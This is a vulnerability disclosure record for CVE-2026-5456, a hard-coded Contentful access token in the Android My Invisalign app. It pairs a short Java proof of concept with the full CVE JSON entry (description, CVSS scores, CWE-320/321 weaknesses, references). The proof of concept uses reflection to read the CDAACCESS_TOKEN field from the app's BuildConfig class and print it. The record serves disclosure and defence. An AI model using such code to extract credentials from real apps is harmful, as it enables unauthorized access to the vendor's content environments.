CVE-2026-5456

import java.lang.reflect.Field; // POC: Extract hardcoded token from BuildConfig // This demonstrates how an attacker can retrieve the CDAACCESS_TOKEN // by decompiling the APK and inspecting the specific class. public class PocExample { public static void main(String[] args) { try { // Simulate accessing the BuildConfig class of the vulnerable app Class<?> buildConfig = Class.forName("com.aligntech.myinvisalign.BuildConfig"); // Iterate through fields to find the hardcoded token Field[] fields = buildConfig.getDeclaredFields(); for (Field field : fields) { if (field.getName().equals("CDAACCESS_TOKEN")) { // Make the field accessible if it is private field.setAccessible(true); String token = (String) field.get(null); System.out.println("[+] Hardcoded Token Found: " + token); } } } catch (Exception e) { System.err.println("[-] Error: " + e.getMessage()); } } }

{"cve": {"id": "CVE-2026-5456", "sourceIdentifier": "[email protected]", "published": "2026-04-03T07:16:20.570", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Align Technology My Invisalign App 3.12.4 on Android. The impacted element is an unknown function of the file com/aligntech/myinvisalign/BuildConfig.java of the component com.aligntech.myinvisalign.emea. The manipulation of the argument CDAACCESS_TOKEN leads to use of hard-coded cryptographic key\r . The attack must be carried out locally. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://vuldb.com/submit/781763", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355044", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355044/cti", "source": "[email protected]"}, {"url": "https://www.notion.so/Contentful-CDA-Tokens-Exposure-Leading-to-Unauthorized-Access-to-Master-and-Release-Environments-in--3262de3f97fb802ebd1af88e1264cb9f?source=copy_link", "source": "[email protected]"}]}}